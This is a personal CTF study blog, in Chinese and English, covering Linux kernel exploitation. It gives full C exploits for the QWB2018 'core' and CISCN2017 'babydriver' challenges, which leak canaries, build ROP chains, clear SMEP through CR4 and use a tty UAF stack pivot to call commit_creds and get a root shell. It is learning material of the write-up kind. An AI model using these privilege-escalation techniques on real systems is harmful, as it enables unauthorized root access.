CTF零散的知识点

不可视境界线最后变动于:2023年3月30日 上午

这个写的挺糟糕的, 只有ret2dlresolve能看一看. kernel pwn的部分直接看另外一篇.

  • CTF types : Jeopardy, Attack-Defence and mixed.
  • eehhhhhh, 完全不知道CTFtimes怎么用… 现在大概知道了

a new start from SCTF-flying_kernel

the following is a few concepts.

image-20220710173158610

What is the -initrd in qemu command line used for?

It is used to init RAM disk, which utilize RAM with a drive to act like an SSD disk.

And look this answer

docker

review the concepts of docker.

Docker Architecture Diagram

Docker Desktop needs Ubuntu 22.04…. a new VM. Okay, left the Docker Destkop away.

details are written in linux relative hints

KVM

run kvm-ok in kali shows NOT SUPPORT at first, then i try to update the VM hardware compatibility in vmware, now it works.

the flying-kernel is using qemu in the container, but i find that there is a -cpu kvm64, +semp argument. It means a processor with kvm enabled. and when i search on google it says qemu may utilize the kvm to accelerate itself.

VMWare

it relies on software to simulate hardware functionality and create a virtual compoter system.

SMP

from wikipedia.

Symmetric multiprocessing or shared-memory multiprocessing (SMP) involves a multiprocessor computer hardware and software architecture where two or more identical processors are connected to a single, shared main memory, have full access to all input and output devices, and are controlled by a single operating system instance that treats all processors equally, reserving none for special purposes.

CPUID

SMEP and SMAP.

https://wiki.osdev.org/Supervisor_Memory_Protection

xinetd

wiki | .conf man page

Kernel Module

  • modinfo modprobe(intelligently add or remove modules) mknod
  • modules are object files whose symbols get resolved upon running insmod or modprobe.
  • Arguments (a post)
    • module_param(var, int, 0644) can take the arguments(var) passed by insmod xxx var=5 to a Module with permissions(0644).
      or module_param(mylong, long, S_IRUSR)
    • MODULE_PARM_DESC() used to document argument that the module can take. Will show in the modinfo xx.ko.
  • device driver:
    • ll /dev => crw-rw---- 1 root dial 4, 67 Jul 5 2000 /dev/ttyS3
      c -> character device, 4 -> major number, 67 -> minor number. Major number assigned list
  • /proc file system: Originally designed to allow easy access to information about processes (hence the name), it is now used by every bit of the kernel which has something interesting to report
    • use /proc file system to get module info in user-land program. such as proc_create() proc_remove() functions.
  • class_create() A class is a higher-level view of a device that abstracts out low-level implementation details.
    header file
  • to be continued…

Others

  • sudoers — default sudo security policy plugin

flying-kernel

很好, 又发现他用的是字符设备的kernel module, 继续看kernel module文档(在上面).

代佬博客总结

现在又发现CTF-wiki上有内核的知识, 一大堆东西接着pwn.college后面, 所以还得先学掉那些东西…. 不然什么smap smep保护都不知道怎么用. (还有我怎么看到UAF一点都不敏感.)

smap明明在pwn.college上见到过了, 看来过一遍概念还是没法留下深刻的印象, 之前的再复习复习.

Kernel Mode

  • Read-copy-update : RCU
    • in kernel code may use __rcu before variable to indicate the use of RCU.
  • kallsym file info type: link

Privilege escalation

change self: 改变自身权限.

  • task_struct and cred and other pointers utilization.

change others: 改变高权限进程的控制流.

CHANGE DATA :

  • call_usermodehelper 只能说是告诉了我有这么一种方式, 但是更具体的细节还得搜其他的东西.
    post | another post with several exp.

  • poweroff_cmd when exec init or poweroff command in shell.

CHANGE CODE :

  • revise code in vDSO(virtual dynamic shared object).

in Linux man page:

The “vDSO” (virtual dynamic shared object) is a small shared library that the kernel automatically maps into the address space of all user-space applications.

locate vDSO:

  • in IDA: first find init_vdso(), then click vsdo_image_64 variable, and then we can find the address of raw_data, which can be used to address the true vDSO.
  • in Memory:
    • directly: vDSO is in fact a ELF file. we can locate the function name string in memory to figure out the address of vDSO.
    • indrectly: the vDSO is at a constant offset from kernel base.

Information disclosure & DoS

Defence

SMEP & SMAP

开启

默认情况下,SMEP 保护是开启的。

如果是使用 qemu 启动的内核,我们可以在 -append 选项中添加 +smep 来开启 SMEP。

关闭

/etc/default/grub 的如下两行中添加 nosmep

1
2
GRUB_CMDLINE_LINUX_DEFAULT="quiet"  
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"

然后运行 update-grub 并且重启系统就可以关闭 smep。

What is GRUB(Grand Unified Bootloader)?

GRUB is the default bootloader for many of the Linux distributions.

-> more details <-

如果是使用 qemu 启动的内核,我们可以在 -append 选项中添加 nosmep 来关闭 SMEP。

查看
1
grep smep /proc/cpuinfo
Attack SMEP

CR4 寄存器中的第 20 位 置为 0 后,我们就可以执行用户态的代码。一般而言,我们会使用 0x6f0 来设置 CR4,这样 SMAP 和 SMEP 都会被关闭。

内核中修改 cr4 的代码最终会调用到 native_write_cr4,当我们能够劫持控制流后,我们可以执行内核中的 gadget 来修改 CR4。从另外一个维度来看,内核中存在固定的修改 cr4 的代码,比如在 refresh_pce 函数、set_tsc_mode 等函数里都有。

copy_from/to_user : 在劫持控制流后,攻击者可以调用 copy_from_usercopy_to_user 来访问用户态的内存。这两个函数会临时清空禁止访问用户态内存的标志。

KPTI - Kernel Page Table Isolation

utilization method

Internal Isolation WiKi

  • Key: a cache with SLAB_ACCOUNT cannot be merged with a cache w/o SLAB_ACCOUNT, that is, used for dedicated purpose.

__GFP_ACCOUNT: Kernel doc (GFP -> Get Free Pages)

  • Untrusted allocations triggered from userspace should be a subject of kmem accounting and must have __GFP_ACCOUNT bit set. There is the handy GFP_KERNEL_ACCOUNT shortcut for GFP_KERNEL allocations that should be accounted.

memcg(memory cgroup) & cgroups: IBM doc

The memory subsystem of the cgroups feature isolates the memory behavior of a group of processes (tasks) from the rest of the system. It reports on memory resources used by the processes in a cgroup, and sets limits on memory used by those processes.

kmem-cache-create(): link

What is cache in Linux?

… not clear, only know that it is used by kmem_cache_create.

What functions use this feature?

kmem_cache_create() kmem_cache_alloc()

It will allocate objects from a dedicated slab cache created by kmem_cache_create. If you specifically want a better slab cache management dedicated to your module only, use kmem_cache_create followed by kmem_cache_alloc. USB/SCSI drivers use this. kmem_cache_create takes sizeof your object you want to create slab of, a name which appears in /proc/slabinfo and flags to govern behavior of your slab cache.

kmalloc() malloc an aligned space, start from 32 bytes. -> src is here <- | -> doc is here <-

有关于kmalloc记录在另外一篇.

Info Disclosure WiKi

dmesg_restrict | kptr_restrict

Randomization

KASLR

FG-KASLR : 主要是在FG-KASLR的环境下还有哪些可利用的地方.

kernel UAF

主要是内核中内存分配管理的利用, 即普通堆块释放后被cred结构体的malloc分配(因为大小一致), 然后使用另一程序对原指针的操作修改cred为root权限. 这个内存管理特性和上面的linux cache有关系.

那么根据 UAF 的思想,思路如下:

  1. 打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
  2. 释放其中一个,fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
  3. 同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root

Kernel ROP & 过程示例

强网杯2018-pwn-kernel-core

看到skr师傅早在18年的wp, 一步一步来很详细, 参考见->这里, WiKi上也有相应内容. 我自己试一试.

首先下载.tar文件, 然后解压:

1
2
3
4
5
6
7
8
9
10
pc wget "https://github.com/eternalsakura/ctf_pwn/raw/master/%E5%BC%BA%E7%BD%91%E6%9D%AF2018/core_give.tar"
ll

┌──(root💀kali)-[/mnt/hgfs/LearingList/CTF/QWB-core]
└─# ll
total 46653
-rwxrwxrwx 1 root root 7029056 Mar 23 2018 bzImage
drwxrwxrwx 1 root root 4096 Jul 16 20:39 core
-rwxrwxrwx 1 root root 233 Jul 16 20:25 start.sh
-rwxrwxrwx 1 root root 40738712 Mar 24 2018 vmlinux

core是使用cpio -idm < core.cpio命令extract之后的文件夹, 并没有重命名之后再使用gunzip, 嗯, 我也不知道为什么, 反而用那种方法gunzip会告诉我无法识别文件格式.

start.sh:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
# line 7 kaslr can be removed when debugging.
qemu-system-x86_64 \
-m 128M\
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ #boot config.
-s \ #means open a gdbserver on TCP port 1234 at default.
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

.cpio中包含以下文件:

1
2
3
┌──(root💀kali)-[/mnt/…/LearingList/CTF/QWB-core/core]
└─# l
bin/ core.cpio* core.ko* etc/ gen_cpio.sh* init* lib/ lib64/ proc/ root/ sbin/ sys/ tmp/ usr/ vmlinux*

core.ko is kernel module, gen_cpio.sh can be used to regenerate the archive after revision. vmlinux is the kernel image. init is (????) init file. but i dont know when it will be executed.

注意如果要编译内核模块则需要内核源码, 使用make命令来编译, 但是实际上并不需要这么做.

init file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # notice this line. I can get ksyms address from here.
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2.
insmod /core.ko

#poweroff -d 120 -f & # comment this line to disable auto timer shutdown
# but i dont know how that happends, it only show `Too many arguments`
# on my kali linux 2022.2
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

#poweroff -d 0 -f

居然手贱在主机里执行了init, 给我执行了一堆奇怪命令….我还没弄快照…..还好没啥事.

现在修改init文件, 重新打包后运行系统直接init执行错误. 真是神奇啊.

总不能是权限问题吧…. 从各种意义上来说, 这很离谱.

突然又成功了, 玄学的环境.. 哦我知道为什么了:

在共享文件夹下无法创建符号链接, 所以重新打包之前/bin下面没有busybox的配置. 直接移至/root下.

然后是core.ko.

init_module:

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops); //简单的创建proc文件
printk(&unk_2DE);
return 0LL;
}

read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u); // 开了canary
printk(&unk_25B); // "core: called core_read"
printk(&unk_275, off, a1); // "%d %p", off, a1
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

write:

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215); // "core: called core_writen"
if ( a3 <= 2048 && !copy_from_user(&name, a2, a3) )// 2048 bytes in @name
return (unsigned int)a3;
printk(&unk_230); // "core: error copying data from userspacen"
return 0xFFFFFFF2LL;
}

ioctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD, a3); // "core: %d", a3
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3); // "core: called core_copy"
core_copy_func(a3);
break;
}
return 0LL;
}

copy_func:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[8]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+40h] [rbp-10h]

v3 = __readgsqword(0x28u);
printk(&unk_215); // "core: called core_copy"
if ( a1 > 63 )
{
printk(&unk_2A1); // "Detect Overflow"
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

要注意的一点是xref的使用, 我看到的都是引用而不是写入就以为没有相关代码, 实际上有一处引用是用作函数copy_from_user()的参数, 所以是有写入的操作的.

IDA相应reference type:

1
2
3
4
r  Read
w Write
rw Read/Write
o Reference

有时间就看下IDA的文档, 说不定有新东西.

总结:

read函数把栈上内容加off后copy_to_user 64字节, 但是在此之前已经清空过数组全部的64字节.

ioctl有三个选项, read, 修改off(无限制), 把bss段的name变量复制a3字节到栈顶上(小于数组的64字节, 但是是无符号数).

write函数copy_from_user到name变量里(小于2048字节).

文件有canary+NX, 没有RELRO+PIE.

调试:

gdb中用target remote :1234加上add-symbol-file vmlinux即可.

通过查看/sys/module/sections/.text找到该module的base address, 为0xffffffffc0000000. 当然, 这是为了调试, 否则kaslr是默认开启的, 而且只能被root用户读取.

后来加上的: gef查看ksym中的module符号失败, 只能通过在qemu里用root用户查看. 没明白gef好在哪里. 命令还少一点.

过程:

之前在pwncollege的shellcode是单独一块区域, 这个题目是在栈上, 如果使用了上一个函数的栈空间可能就会出问题了, 这次内核可能就真的崩了. 还是学着他那样做吧, 使用iret, 用c的内联汇编保存一点东西.

  • 利用ioctl()中off指定的leak, 得到canary和core_ioctl()的返回地址.
  • write()中无符号溢出覆盖, 可写入任意长度. 此时构建ROP chain.
  • ROP chain包括:
    • 执行commit_creds(prepare_kernel_cred(0)), 其中两个内核函数的地址要通过/tmp/kallsyms,
      要在c里遍历文件找到地址.
    • 要注意的是实际环境中kaslr是开启的, 这里有几个数值需要提前计算:
      vmlinux未开aslr的基址: 0xffffffff81000000
      运行中在kallsyms里找到的函数地址: 可用来计算运行时内核基址.
    • vmlinux中gadget的地址和实际运行时的有偏差, 由上面两个数值计算得出后可以消除.
      所以gadget的地址可以先行写出.
    • ROP chain的结尾通过iret返回, 这一条指令会额外pop出cs, EFLAGS,
    • the processor pops the return instruction pointer, return code segment selector, and EFLAGS image from the stack to the EIP, CS, and EFLAGS registers
  • 写入canary+修改返回地址到ROP chain.
  • 然后要返回用户态. WiKi里用了iret, 所以要保存一点其他东西.

exp: (perfect exploitation)

1
// 见CTF-WiKi or below
1
2
3
4
5
6
7
8
/* below here defined by x86-64 hardware */
size_t rip;
uint32_t cs;
uint32_t padding4;
size_t eflags;
/* below here only when crossing rings, such as from user to kernel */
size_t rsp;
uint16_t ss; //higher 48 bits are discarded

Ret2user

题目还是和上一题一样. 换一种方法.

ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作.

只能在linux虚拟机里面做了, windows下用共享文件夹加上ssh不好整, 再整理一下HOME文件夹.

压缩包解压出来的vmlinux和cpio解压的不一样……. 完全搞不懂为什么. 暂且换掉.

commit_creds(prepare_kernel_cred(0))

  • struct cred *prepare_kernel_cred(struct task_struct *daemon)
  • int commit_creds(struct cred *new)
  • 最后的rop_chain写入是通过ioctl, 数值从int64_t被截断为int16_t, 所以最后两字节填上一个合适的数字即可.
  • 一开始写的时候直接往core使用read, 但是在IDA里面在Exports窗口里查看core_fops结构体里面没有core_read的指针, 只能在ioctl里面调用read.
  • 由于kallsyms文件是在insmod之前复制到tmp文件夹下的, 所以其中没有core的各个函数地址.
  • parse_kallsyms里用文件读取又栽了.
    • 没有料到一行会有四个字符串, 最后一个[core]用来指示模块名称, 导致fscanf输入错误.
    • 还是换成了fgets()先输入一行, 再对这一行进行sscanf
    • scanfprintf要注意格式参数, scanf可以使用%Lx | %llx, printf可以使用%p | %llx来输出8字节指针的值.
    • 长文件读取分析的中间要输出点东西, 不然一开始我还以为是分析太慢了. 不能低估电脑的这点计算能力, 一定是死循环.
  • 还有一个symbol: amd_uncore_read也匹配上了core_read的字符串判断. 还是从strstr换成了strcmp.
  • 内核的函数好像都不会破坏用户区的rbp, 或者说只用rsp来索引栈上的数值.
  • 读取栈上的数据出来后不需要strtoll, 已经是小端法存储的size_t了, 只要转换指针类型然后赋值即可.

接下来是swapgs的科普:

  • 结合pwn.college中kernel部分时的查找, 多了几个概念: MSR(Model Specific Registers), swapgs的超详细doc |
    ELF Handling For Thread-Local Storage |
  • (P2873 in Intel manual) one kind of MSR: Instruction-specific support (for example: SYSENTER, SYSEXIT, SWAPGS, etc.).
    and P1866 fro swapgs instruction: SWAPGS exchanges the current GS base register value with the value contained in MSR address C0000102H(IA32_KERNEL_GS_BASE)
  • To acquire the kernel space stack after swapgs, in entry_SYSCALL_64:
    mov rsp, PER_CPU_VAR(cpu_current_top_of_stack),
    expanding to mov rsp, %gs:cpu_current_top_of_stack,
    GS register stores the base address for per-cpu data area.
  • 由上面来个总结: kernel stores the address of the per-CPU structure in MSR.

和pwn.college不一样的地方在于这里破坏了内核栈帧, 对上一个函数的栈帧造成了未知的影响, 所以选用了iret直接退出内核态. 而在pwn.college中shellcode被存放到了另一块区域, 而且通过__x86_indirect_thunk_rax这个函数里jmp rax直接跳过去. 在code中使用ret回到了device_read等函数中, 正常走内核的流程退回到用户态, 所以我就没有关心过swapgs这个知识点.

还有一个ropper的使用:

  • ropper可以使用交互式命令行.
1
2
3
4
5
6
7
8
9
10
11
Documented commands (type help <topic>):
========================================
arch color gadgets jmp ropchain show
asm detailed help load search stack_pivot
badbytes disasm hex opcode semantic string
clearcache disasm_address imagebase ppr set type
close file inst quit settings unset

Undocumented commands:
======================
EOF
  • file用来先加载文件或者显示已打开的文件
  • hex: 将文件某一部分用hex打印出来
  • search: 简单通配符搜索, semantic: 有条件的搜索
  • type: 在ROP, JOP, SYS三种类型之中修改.
  • ropchain作用有限, 只有三种操作.
  • disasm: 反汇编给定的十六进制数字串
  • inst: 在装key_stone后按照instruction搜索.
  • show: show infomatino about the context.
  • ppr: pop pop ret instruction.
  • 在命令行中的参数也基本同理, 全加上--即可.
  • 在交互界面中直接file vmlinux; search swapgs;即可找出.

还有一点区别, 就是EFLAGS and RFLAGS, 在64位系统中FLAG寄存器被拓展到64bit, 使用popfq而不是popf来弹出保存在栈上的内容. The upper 32 bits of RFLAGS is reserved.
POPFQ pops 64 bits from the stack. Reserved bits of RFLAGS (including the upper 32 bits of RFLAGS) are not affected.

这三个编码都一样, 只是用在不同的环境下当做助记符了. pushf和pushfq都是把rflags push到栈上. push同理.

Opcode Instruction Op/En 64-Bit Mode Compat/Leg Mode Description
9D POPF ZO Valid Valid Pop top of stack into lower 16 bits of EFLAGS.
9D POPFD ZO N.E. Valid Pop top of stack into EFLAGS.
9D POPFQ ZO Valid N.E. Pop top of stack and zero-extend into RFLAGS.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// gcc exp.c -static -masm=intel -g -o exp
// 至少绝大部分是我write by hand. 自己动手还是会发现很多细节.
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define DEBUG 0
size_t commit_addr, prepare_addr;
size_t vmlinux_base, canary;
size_t user_cs, user_eflags, user_rsp, user_ss;
int proc_fd;

#define VMLINUX_RAW_BASE 0xffffffff81000000
#define PROC_PATH "/proc/core"
#if DEBUG
#define KAS_PATH "/proc/kallsyms"
#else
#define KAS_PATH "/tmp/kallsyms"
#endif

// read two function address from file
void parse_kallsyms()
{
FILE *kas_fd = fopen(KAS_PATH, "r");
if (kas_fd == NULL)
{
printf("[*] open %s fail!", KAS_PATH);
exit(-1);
}
char buf[150];
size_t addr;
char name[60];
long long i = 0;

while (fgets(buf, 150, kas_fd) != NULL)
{
sscanf(buf, "%Lx %*c %s", &addr, name);
if (!strcmp(name, "commit_creds"))
commit_addr = addr;
else if (!strcmp(name, "prepare_kernel_cred"))
prepare_addr = addr;
#if DEBUG
else if (!strcmp(name, "core_ioctl"))
printf("ioctl addr: %p\n", addr);
else if (!strcmp(name, "core_read"))
printf("core_read addr: %p\n", addr);
i++;
if (i % 1000 == 0)
printf("\t%s", name);
#endif
}
printf("commit_creds addr: %p\n", commit_addr);
printf("prepare_kernel_cred addr: %p\n", prepare_addr);
#if DEBUG
puts("[*] pause for core_read breakpoint");
getchar();
#endif
/*
In [8]: hex(elf.symbols['commit_creds']-0xffffffff81000000)
Out[8]: '0x9c8e0' */
vmlinux_base = commit_addr - 0x9c8e0;
}

// get canary from ioctl
void set_off(size_t offset)
{
ioctl(proc_fd, 0x6677889C, offset);
printf("[*] Set off as %d\n", offset);
}
void read_proc(char *buf)
{
puts("[*] read to buf.");
ioctl(proc_fd, 0x6677889B, buf);
}
void get_canary()
{
set_off(0x40);
char buf[64];
read_proc(buf);
// canary = strtoull(buf, NULL, 16);
canary = *((size_t *)buf);
printf("canary: 0x%x\n", canary);
}
void save_context();
// get shell and root privilege.
void get_shell()
{
system("/bin/sh");
}
void get_root()
{
char *(*pkc)(int) = prepare_addr;
void (*cc)(char *) = commit_addr;
(*cc)((*pkc)(0));
}
void set_rop(size_t *rop)
{
// get_root->ret from kernel->get_shell(as rip)
size_t vm_off = vmlinux_base - VMLINUX_RAW_BASE;
rop[8] = canary;
rop[10] = (size_t)get_root;
rop[11] = 0xffffffff81a012da + vm_off; // swapgs; popfq; ret
rop[12] = 0;
rop[13] = 0xffffffff81050ac2 + vm_off; // iretq; ret;
rop[14] = (size_t)get_shell;
rop[15] = user_cs;3
rop[16] = user_eflags;
rop[17] = user_rsp;
rop[18] = user_ss;
}
void copy_func(size_t size)
{
printf("[*] copy from user with size: %ld\n", size);
ioctl(proc_fd, 0x6677889A, size);
}

int main()
{
proc_fd = open(PROC_PATH, O_RDWR);
if (proc_fd == -1)
{
printf("Error on opening %s!", PROC_PATH);
exit(-1);
}
puts("test string");
parse_kallsyms();
get_canary();

save_context();
size_t rop[40];
set_rop(rop);
#if DEBUG
puts("[*] DEBUG");
getchar();
#endif
write(proc_fd, rop, 40 * sizeof(size_t));
copy_func(0xffffffffffff0000 | (0x100));
}

void save_context()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_eflags;");
puts("[*]status has been saved.");
}

BYPASS-SMEP

check whether the smep is enabled.

1
grep smep /proc/cpuinfo

smep 和 CR4 寄存器

系统根据 CR4 寄存器的值判断是否开启 smep 保护,当 CR4 寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。

smep

例如,当

1
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

时,smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的,因此只需要

1
2
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可关闭 smep 保

搜索一下从 vmlinux 中提取出的 gadget,很容易就能达到这个目的。

如何查看 CR4 寄存器的值?

  • gdb 无法查看 cr4 寄存器的值,可以通过 kernel crash 时的信息查看。为了关闭 smep 保护,常用一个固定值 0x6f0,即 mov cr4, 0x6f0

CISCN2017 - babydriver

是之前的UAF的那一题的另一种做法.

没有提供vmlinux(内核镜像), 唯一的bzImage是已压缩的镜像文件, extract_vmlinux脚本实际上就是用了最基础的sh shell加上尝试一堆解压命令, 哪一个能用就把他解压出来到tmp文件夹下, 经过check后把tmp中解压后的文件cat到stdout.

可以使用下面这一条命令解压出vmlinux:

1
./extract-vmlinux ./bzImage > vmlinux

没有开kaslr, .ko固定在81000的位置. 所要的地址可以直接硬编码.

后续详见WiKi. 就是想UAFN那题一样重新打开文件来控制一个tty结构体. 修改函数指针

然后再仔细看了看, 果然又是一堆没注意到的细节…..

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}


void get_shell()
{
system("/bin/sh");
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main()
{
save_status();

int i = 0;
size_t rop[32] = {0};
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

for(int i = 0; i < 30; i++)
{ //其实就是个填充, 只有write函数有用到第8个, 为了方便全部填成一样的.
fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret
}
fake_tty_operations[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_operations[1] = (size_t)rop;
//fake_tty_operations[3] = 0xFFFFFFFF8181BFC5; // mov rsp,rax ; dec ebx ; ret

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;
write(fd2,fake_tty_struct, 32);

char buf[0x8] = {0};
write(fd_tty, buf, 8);

return 0;
}

fake_tty_struct中的第四个就是ops的函数指针数组, 把构造好的fake_tty_operations地址填到里面即可.

然后就是ops的构造. 首先要看内核是如何调用ops的:

1
2
3
4
5
6
7
8
9
  0xffffffff814dc0b6    mov    rax, qword ptr [rbx + 0x18]
0xffffffff814dc0ba mov edx, r12d
0xffffffff814dc0bd mov rsi, r13
0xffffffff814dc0c0 mov rdi, rbx
► 0xffffffff814dc0c3 call qword ptr [rax + 0x38]

0xffffffff814dc0c6 mov rdi, r14
0xffffffff814dc0c9 mov r15d, eax
0xffffffff814dc0cc call 0xffffffff81817ae0

有标记的一行就是对函数指针的使用, 可以看到这里用了rax来存指针数组的基址, 所以在gadget中可以使用mov rsp, rax; ret 这种gadget. 但是这特么也太难找了, exp里面用的那个是mov rsp, rax; dec rbx; jmp -> ret的组合, 没有哪个工具会自动搜索到这个gadget, 只能把所有的gadget找出来然后再输出文件中搜索. 比如下面这样:

1
2
3
4
5
6
7
8
9
10
$ ROPgadget --binary vmlinux > gadget
# in gadget
...
459047 0xffffffff8181bfc5 : mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
...
# in ropper interactive console
(vmlinux/ELF/x86_64)> disasm_address 0xffffffff8181bf7e
Instructions
============
0xffffffff8161bf7e: ret

这样才算是找到了一个.

如果要dump指定的地址, 我看最方便的还是把整个vmlinux都反汇编出来, ropper加载还是挺慢的(一次直接把3G内存吃没了, 绝). 我还是用ROPgadget吧, ropper搜半天还会卡住. 搜完之后一个文件44M, 真的大.

因为这里没有write漏洞可以利用, 那么最终的目的就是将rsp改为rop指针的值, 所以就要重复修改rsp:

第一次执行完ops中的write之后此时的rsp就指向了指针数组的开头, 我们填入的0 1 3号就是从栈顶开始计数的QWORD区域(3号可以去掉, 除了提示没有作用), 然后再通过:

  • pop rax; pop rbp; ret: rax = rop
  • mov rsp, rax; dec rbx; jmp ???; ret: rsp = rop; bingo

现在rsp已定位到rop指向的fake stack上, 可以顺利进行rop了.

写了几行自动反汇编指定地址的shell, 放在pwnsh里面. vmlinux-disasm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
vm=./vmlinux
if [ ! -e $vm ]; then
echo vmlinux not Exits!
exit 1
fi
realpath $vm
len=30
if [ $# -eq 0 ]; then
echo 'Need Address Argument!'
exit 1
fi
if [ $2 ]; then
len=$2
fi
objdump $vm -d -Mintel --start-address=$1 --stop-address=$(printf 0x%x $(($1+$len)))

Double Fetch

2018 0CTF Finals Baby Kernel

USING RACE CONDITION :

这题的init调用了misc_register(), 作用: Register a miscellaneous device with the kernel. 所以这个设备会在/dev下, 名称为baby.

驱动主要注册了一个 baby_ioctl 函数,其中包含两个功能。当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出 flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk 将 flag 输出出来。

而分析其检查函数,其中 _chk_range_not_ok 为检查指针及长度范围是否指向用户空间。通过对驱动文件功能的分析,可以得到用户输入的数据结构体如下:

1
2
3
4
00000000 attr            struc ; (sizeof=0x10, mappedto_3)
00000000 flag_str dq ?
00000008 flag_len dq ?
00000010 attr ends

其检查内容为:

